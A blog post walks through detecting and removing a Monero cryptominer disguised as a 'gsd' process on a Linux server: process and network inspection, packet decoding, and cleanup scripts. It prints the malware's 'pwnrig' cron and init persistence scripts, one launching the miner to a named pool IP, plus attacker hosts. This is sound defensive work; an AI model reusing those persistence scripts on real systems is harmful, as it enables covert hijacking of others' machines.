kade.im
High CPU Usage from “gsd” Learn to Detect Crypto Mining Attacks

High CPU Usage from “gsd” Learn to Detect Crypto Mining Attacks

Tags
Infra
Security
Debug
Wrote
2024.12

Symptoms

  • Newly started processes or existing ones were abruptly terminated with no logs, displaying only Killed.
  • Observed the suspicious gsd process consuming 100% CPU on half or all cores.
    • notion image
 

Debugging Process

1. Process and Service Inspection

  • Check running processes
ps -ef | grep gsd
ps -ef | grep gsd ... gdm 2773 2413 0 9월20 tty1 00:00:00 /usr/libexec/gsd-a11y-settings gdm 2777 2413 0 9월20 tty1 02:39:58 /usr/libexec/gsd-housekeeping gdm 2784 2413 0 9월20 tty1 00:00:00 /usr/libexec/gsd-power gdm 2881 1 0 9월20 tty1 00:00:00 /usr/libexec/gsd-printer root 107479 1 99 03:37 ? 25-02:05:11 gsd
  • Verified PIDs with:
pgrep gsd
pgrep gsd 2751 2754 2755 2756 2758 2759 2762 2764 2765 2768 2771 2773 2777 2784 2881 107479 #<- This is main process
  • investigate process details:
lsof -p <PID> ls -l /proc/<PID>/exe cd /proc/<PID>
  • lsof shows some http or ip at lastline
gsd 107479 root 12r CHR 1,3 0t0 6 /dev/null gsd 107479 root 13u IPv4 1038782489 0t0 TCP [your-hostname]:58460->lowerbills.online:http (ESTABLISHED)
gsd 894343 root 13u IPv4 3165842874 0t0 TCP [your-hostname]->161.152.194.104.static.cloudzy.com:3333 (ESTABLISHED)
ls -al total 0 dr-xr-xr-x 9 root root 0 12월 23 03:37 . dr-xr-xr-x 1710 root root 0 9월 20 23:02 .. -r--r--r-- 1 root root 0 12월 23 07:10 arch_status dr-xr-xr-x 2 root root 0 12월 23 07:10 attr -rw-r--r-- 1 root root 0 12월 23 07:10 autogroup -r-------- 1 root root 0 12월 23 07:10 auxv -r--r--r-- 1 root root 0 12월 23 07:10 cgroup --w------- 1 root root 0 12월 23 07:10 clear_refs -r--r--r-- 1 root root 0 12월 23 03:37 cmdline -rw-r--r-- 1 root root 0 12월 23 07:10 comm -rw-r--r-- 1 root root 0 12월 23 07:10 coredump_filter -r--r--r-- 1 root root 0 12월 23 07:10 cpuset lrwxrwxrwx 1 root root 0 12월 23 07:10 cwd -> / -r-------- 1 root root 0 12월 23 07:10 environ lrwxrwxrwx 1 root root 0 12월 23 07:10 exe -> '/usr/bin/gsd (deleted)' # dr-x------ 2 root root 0 12월 23 07:10 fd dr-x------ 2 root root 0 12월 23 07:10 fdinfo -rw-r--r-- 1 root root 0 12월 23 07:10 gid_map -r-------- 1 root root 0 12월 23 07:10 io -r--r--r-- 1 root root 0 12월 23 07:10 limits -rw-r--r-- 1 root root 0 12월 23 07:10 loginuid dr-x------ 2 root root 0 12월 23 07:10 map_files -r--r--r-- 1 root root 0 12월 23 07:10 maps -rw------- 1 root root 0 12월 23 07:10 mem -r--r--r-- 1 root root 0 12월 23 07:10 mountinfo -r--r--r-- 1 root root 0 12월 23 07:10 mounts -r-------- 1 root root 0 12월 23 07:10 mountstats dr-xr-xr-x 60 root root 0 12월 23 07:10 net dr-x--x--x 2 root root 0 12월 23 07:10 ns -r--r--r-- 1 root root 0 12월 23 07:10 numa_maps -rw-r--r-- 1 root root 0 12월 23 07:10 oom_adj -r--r--r-- 1 root root 0 12월 23 07:10 oom_score -rw-r--r-- 1 root root 0 12월 23 07:10 oom_score_adj -r-------- 1 root root 0 12월 23 07:10 pagemap -r-------- 1 root root 0 12월 23 07:10 patch_state -r-------- 1 root root 0 12월 23 07:10 personality -rw-r--r-- 1 root root 0 12월 23 07:10 projid_map lrwxrwxrwx 1 root root 0 12월 23 07:10 root -> / -rw-r--r-- 1 root root 0 12월 23 07:10 sched -r--r--r-- 1 root root 0 12월 23 07:10 schedstat -r--r--r-- 1 root root 0 12월 23 07:10 sessionid -rw-r--r-- 1 root root 0 12월 23 07:10 setgroups -r--r--r-- 1 root root 0 12월 23 07:10 smaps -r--r--r-- 1 root root 0 12월 23 07:10 smaps_rollup -r-------- 1 root root 0 12월 23 07:10 stack -r--r--r-- 1 root root 0 12월 23 03:37 stat -r--r--r-- 1 root root 0 12월 23 03:38 statm -r--r--r-- 1 root root 0 12월 23 03:37 status -r-------- 1 root root 0 12월 23 07:10 syscall dr-xr-xr-x 50 root root 0 12월 23 07:10 task -r--r--r-- 1 root root 0 12월 23 07:10 timers -rw-rw-rw- 1 root root 0 12월 23 07:10 timerslack_ns -rw-r--r-- 1 root root 0 12월 23 07:10 uid_map -r--r--r-- 1 root root 0 12월 23 07:10 wchan
  • inspecting process directory
cd /proc/<PID>
cd /proc/107479 ls arch_status auxv cmdline cpuset exe gid_map loginuid mem mountstats numa_maps oom_score_adj personality sched setgroups stack status timers wchan attr cgroup comm cwd fd io map_files mountinfo net oom_adj pagemap projid_map schedstat smaps stat syscall timerslack_ns autogroup clear_refs coredump_filter environ fdinfo limits maps mounts ns oom_score patch_state root sessionid smaps_rollup statm task uid_map
cat cmdline gsd
 

2. Network Activity

Identified network activity pointing to external servers:
netstat -tulnp | grep <PID> # -> It does not show usually
sudo ss -tup | grep gsd tcp ESTAB 0 2568 [YourIP] 103.195.5.148:http #<- This is destination users:(("gsd",pid=107479,fd=13))
 
 

3. System Inspection

  • Checked the /usr/bin directory for unusual binaries:
ls -l /usr/bin | grep gsd
ls -l /usr/bin | grep gsd -rwxr-xr-x 1 root root 2365568 12월 23 19:17 gsd
  • Verified package integrity:
sudo dpkg -S /usr/bin/gsd
 
 
 

4. Cron Jobs

Detected malicious cron jobs potentially relaunching the gsd process:
crontab -l sudo ls -l /etc/cron* | grep pwnrig
crontab -l * * * * * /usr/local/src/.gsd/gsd
udo ls -l /etc/cron* | grep pwnrig -rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig -rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig -rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig -rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig -rwxr-xr-x 1 root root 133 12월 23 03:37 pwnrig
 

5. Inspect, Investigate “pwnrig”

find / -name "xmrig" -o -name "pwnrig" /etc/cron.monthly/pwnrig /etc/cron.daily/pwnrig /etc/cron.d/pwnrig /etc/cron.weekly/pwnrig /etc/cron.hourly/pwnrig /etc/init.d/pwnrig
cat /etc/cron.d/pwnrig
  • It is running gsd continuously
#!/bin/bash cp -f -r -- /bin/crondr /bin/gsd 2>/dev/null cd /bin 2>/dev/null ./gsd -c -k >/dev/null 2>&1 rm -rf -- gsd 2>/dev/null
  • I try deleting cron pwnrig cron
/proc/107479# rm -rf /etc/cron.monthly/pwnrig rm: cannot remove '/etc/cron.monthly/pwnrig': Operation not permitted
  • Need to check file attribute
lsattr /etc/cron.monthly/pwnrig ----ia--------e----- /etc/cron.monthly/pwnrig
  • i (immutable):
    • This attribute makes the file immutable. It cannot be modified, deleted, or renamed, and no link can be created to this file. Even root cannot delete or modify the file without removing this attribute first.
  • a (append-only):
    • This attribute allows only data to be appended to the file. It cannot be overwritten or truncated.
  • e (extent format):
    • This attribute indicates that the file is using extents for mapping the blocks on disk. It is typical for files on an ext4 file system and not inherently malicious.
       
  • change attribute to delete
sudo chattr -i -a /etc/cron.monthly/pwnrig
lsattr /etc/cron.monthly/pwnrig --------------e----- /etc/cron.monthly/pwnrig
  • Try delete cron and success
rm -rf /etc/cron.monthly/pwnrig -> success
  • Check crontab
crontab -e * * * * * /usr/local/src/.gsd/gsd #<- it is running too # delete above by Nano or Vim editor
 

Key Findings

1. Suspicious Network Connection

A command revealed the gsd process was sending data to a server at cloudz with IP address and DNS 212.73.150.237, 104.194.152.161, lowerbills.online:http ... This indicated unauthorized activity
lsof -p <PID>
 

2. Presence of pwnrig

Further investigation uncovered a file named pwnrig in /etc/cron.d and associated services:
  • /etc/systemd/system/pwnrig.service or pwnrige.service
  • /etc/init.d/pwnrig
#!/bin/bash cp -f -r -- /bin/crondr /bin/gsd 2>/dev/null cd /bin 2>/dev/null ./gsd -c -ip 212.73.150.237 >/dev/null 2>&1 rm -rf -- gsd 2>/dev/null
or
#!/bin/bash ### BEGIN INIT INFO # Provides: pwnrig # Required-Start: # Required-Stop: # Default-Start: 2 3 4 5 # Default-Stop: # Short-Description: pwnrig (by pwned) ### END INIT INFO cp -f -r -- /bin/initdr /bin/gsd 2>/dev/null cd /bin 2>/dev/null ./gsd -c -k 2>/dev/null rm -rf -- gsd 2>/dev/null
 
These scripts were designed to replicate the gsd process and establish persistent unauthorized connections.
 

3. So.. what is it doing? (Can I know?)

  • capture with tcpdump
sudo tcpdump -i [your ethernet (eth0..or ens..)] host [hacker's destination, 104.194.152.161] -w suspicious_traffic.pcap 36492 packets received by filter
sudo tcpdump -i ens2 host 103.195.5.148 -w suspicious_traffic.pcap -c 100 tcpdump: listening on ens2, link-type EN10MB (Ethernet), capture size 262144 bytes 100 packets captured 198 packets received by filter 0 packets dropped by kernel
  • read with tcpdump
sudo tcpdump -A -r suspicious_traffic.pcap reading from file suspicious_traffic.pcap, link-type EN10MB (Ethernet) 20:31:39.607980 IP lowerbills.online.http > [your-host-name].51267: Flags [.], ack 3960277878, win 1239, options [nop,nop,TS val 2820646330 ecr 3293583544], length 0 E..4..@.4.{.g..... ;.P.C.jv....v.....b..... .....P.. 20:31:39.607980 IP lowerbills.online.http > [your-host-name].51267: Flags [P.], seq 0:70, ack 1, win 1239, options [nop,nop,TS val 2820646331 ecr 3293583544], length 70: HTTP E..z..@.4.{qg..... ;.P.C.jv....v........... .....P..{"id":11759118,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}} 20:31:39.608020 IP [your-host-name].51267 > lowerbills.online.http: Flags [.], ack 70, win 9768, options [nop,nop,TS val 3293583628 ecr 2820646331], length 0 E..4].@.@..q.. ;g....C.P.....jw*..&(8a..... .P...... 20:31:39.608091 IP lowerbills.online.http > [your-host-name].51267: Flags [P.], seq 70:140, ack 1, win 1239, options [nop,nop,TS val 2820646331 ecr 3293583544], length 70: HTTP E..z..@.4.{pg..... ;.P.C.jw*...v........... .....P..{"id":11759119,"jsonrpc":"2.0","error":null,"result":{"status":"OK"}}
  • read with wireshark (tshark for cli)
tshark -i enp75s0f0np0 -f "host 104.194.152.161" -w suspicious.pcap tshark -r suspicious.pcap --export-objects http,out_dir/ 39481 56.448810797 192.168.10.95 → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457171 Ack=1115422 Win=3979 Len=214 TSval=2280409611 TSecr=3539830040 39482 56.449400532 104.194.152.161 → 192.168.10.95 TCP 135 3333 → 4257 [PSH, ACK] Seq=1115422 Ack=3451393 Win=535 Len=69 TSval=3539830042 TSecr=2280409537 39483 56.449479681 192.168.10.95 → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457385 Ack=1115491 Win=3979 Len=214 TSval=2280409612 TSecr=3539830042 39484 56.451293755 192.168.10.95 → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457599 Ack=1115491 Win=3979 Len=214 TSval=2280409614 TSecr=3539830042 39485 56.451824885 104.194.152.161 → 192.168.10.95 TCP 135 3333 → 4257 [PSH, ACK] Seq=1115491 Ack=3451607 Win=535 Len=69 TSval=3539830044 TSecr=2280409540 39486 56.452963333 192.168.10.95 → 104.194.152.161 TCP 280 4257 → 3333 [PSH, ACK] Seq=3457813 Ack=1115560 Win=3979 Len=214 TSval=2280409616 TSecr=3539830044 ...
tshark -r suspicious.pcap -T fields -e data f6e6365223a226135393631333663222c22726573756c74223a2237323061353432653739613966313635613162306538623834613263616362613230663939356532336232306131356439376434616131333338663330353030222c22616c676f223a2272782f30227d7d0a 7b226964223a333332383632312c226a736f6e727063223a22322e30222c226572726f72223a6e756c6c2c22726573756c74223a7b22737461747573223a224f4b227d7d0a 7b226964223a333332383634392c226a736f6e727063223a22322e30222c226d6574686f64223a227375626d6974222c22706172616d73223a7b226964223a2239623664623738633139306637653530222c226a6f625f6964223a22313135313634353938222c226e6f6e6365223a223633313630333663222c22726573756c74223a2230303661313430323237636261643165663136363534653431653431653236303136616662306232353034363831653665613633646238373030663332373032222c22616c676f223a2272782f30227d7d0a
 
  • decode?
import binascii import json # Encoded Hexadecimal data hex_data = """ 7b226964223a333334343432352c226a736f6e727063223a22322e30222c226572726f72223a6e756c6c2c22726573756c74223a7b22737461747573223a224f4b227d7d0a 7b226964223a333334343434392c226a736f6e727063223a22322e30222c226d6574686f64223a227375626d6974222c22706172616d73223a7b226964223a2239623664623738633139306637653530222c226a6f625f6964223a22313135323932393138222c226e6f6e6365223a223132303230303663222c22726573756c74223a2262616237616461613665336133643365646236343561653636623263326633353066363163363837303364383966396138616163613032623161343261373030222c22616c676f223a2272782f30227d7d0a """ # Split lines and decode each one for line in hex_data.strip().split('\n'): try: decoded_line = binascii.unhexlify(line).decode('utf-8') json_data = json.loads(decoded_line) print(json.dumps(json_data, indent=4)) except Exception as e: print(f"Failed to decode: {e}")
python3 decode.py { "id": 3344425, "jsonrpc": "2.0", "error": null, "result": { "status": "OK" } } { "id": 3344449, "jsonrpc": "2.0", "method": "submit", "params": { "id": "9b6db78c190f7e50", "job_id": "115292918", "nonce": "1202006c", "result": "bab7adaa6e3a3d3edb645ae66b2c2f350f61c68703d89f9a8aaca02b1a42a700", "algo": "rx/0" } }
  • method: "submit": This message represents a task submission to the server.
  • params:
    • id: A unique identifier for the mining software.
    • job_id: The task ID assigned by the server.
    • nonce: A nonce value used in cryptocurrency mining to generate a hash that satisfies specific conditions through multiple attempts.
    • result: The result of the task (hash value). If this value meets certain conditions (e.g., difficulty level), it is recognized as a valid block.
    • algo: The algorithm used. rx/0 represents the RandomX algorithm, commonly used in cryptocurrencies like Monero.
Meaning:
This indicates that the client (gsd process) is sending the results of a mining task (hash value) to the server.
 
 

Solution

  • step-1 : change attr and delete files
#!/bin/bash # related files FILES=( "/etc/systemd/system/pwnrige.service" "/etc/systemd/system/multi-user.target.wants/pwnrige.service" "/etc/systemd/system/multi-user.target.wants/pwnrigl.service" "/etc/init.d/pwnrig" "/etc/cron.d/pwnrig" "/etc/cron.daily/pwnrig" "/etc/cron.hourly/pwnrig" "/etc/cron.weekly/pwnrig" "/etc/cron.monthly/pwnrig" "/bin/sysdr" "/bin/gsd" ) echo "[INFO] Removing files and directories..." for FILE in "${FILES[@]}"; do if [ -e "$FILE" ]; then chattr -i -a "$FILE" 2>/dev/null rm -rf "$FILE" 2>/dev/null echo "[INFO] File $FILE removed." else echo "[INFO] File $FILE not found." fi done
 
  • step-2 : stop and delete systemd services
#!/bin/bash SERVICES=( "pwnrige.service" "pwnrigl.service" ) echo "[INFO] Stopping and disabling systemd services..." for SERVICE in "${SERVICES[@]}"; do if systemctl list-units --full -all | grep -q "$SERVICE"; then systemctl stop "$SERVICE" 2>/dev/null systemctl disable "$SERVICE" 2>/dev/null echo "[INFO] Service $SERVICE stopped and disabled." else echo "[INFO] Service $SERVICE not found." fi done # reload daemon echo "[INFO] Reloading systemctl daemon..." systemctl daemon-reload
 
  • step-3 : kill process
#!/bin/bash PROCESS_NAMES=( "pwnrig" "gsd" ) echo "[INFO] Killing running processes..." for PROC_NAME in "${PROCESS_NAMES[@]}"; do while pgrep "$PROC_NAME" > /dev/null; do pkill -9 "$PROC_NAME" echo "[INFO] Process $PROC_NAME terminated." sleep 1 done done
  • step-4 : block IP
#!/bin/bash BLOCKED_IPS=( "212.73.150.237" "161.152.194.104" "104.194.152.161" ) echo "[INFO] Blocking malicious IPs..." for IP in "${BLOCKED_IPS[@]}"; do ufw deny out to "$IP" 2>/dev/null iptables -A OUTPUT -d "$IP" -j DROP 2>/dev/null echo "[INFO] Blocked IP $IP." done # UFW 설정 적용 echo "[INFO] Reloading UFW..." ufw reload 2>/dev/null
  • step-5 (optional) enable and setup ufw
#!/bin/bash echo "[INFO] Configuring UFW settings..." ufw default deny incoming 2>/dev/null ufw default allow outgoing 2>/dev/null ufw allow ssh 2>/dev/null echo "[INFO] SSH port allowed in UFW." ufw enable 2>/dev/null echo "[INFO] UFW enabled with SSH allowed."
  • step-6 check crontab -e again (delete if exists)
 

Create above code as [name].sh and run

chmod +x *.sh ./files.sh ./systemctl.sh ./process.sh ./block.sh
 
pgrep gsd # empty!
 

Recommend Final Step: OS Reinstallation

To ensure complete removal of the malware, reinstalled the operating system and restored from a clean backup.